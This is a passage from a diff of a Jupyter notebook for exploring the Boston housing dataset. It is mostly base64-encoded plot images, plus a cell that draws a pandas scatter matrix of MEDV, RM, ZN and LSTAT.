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\n",
- "text/plain": [
- ""
- ]
- },
- "metadata": {
- "needs_background": "light"
- },
- "output_type": "display_data"
- }
- ],
- "source": [
- "from pandas.plotting import scatter_matrix\n",
- "\n",
- "attributes = [\"MEDV\", \"RM\", \"ZN\", \"LSTAT\"]\n",
- "scatter_matrix(housing[attributes], figsize=(12, 8))"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 21,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- ""
- ]
- },
- "execution_count": 21,
- "metadata": {},
- "output_type": "execute_result"
- },
- {
- "data": {
- "image/png": "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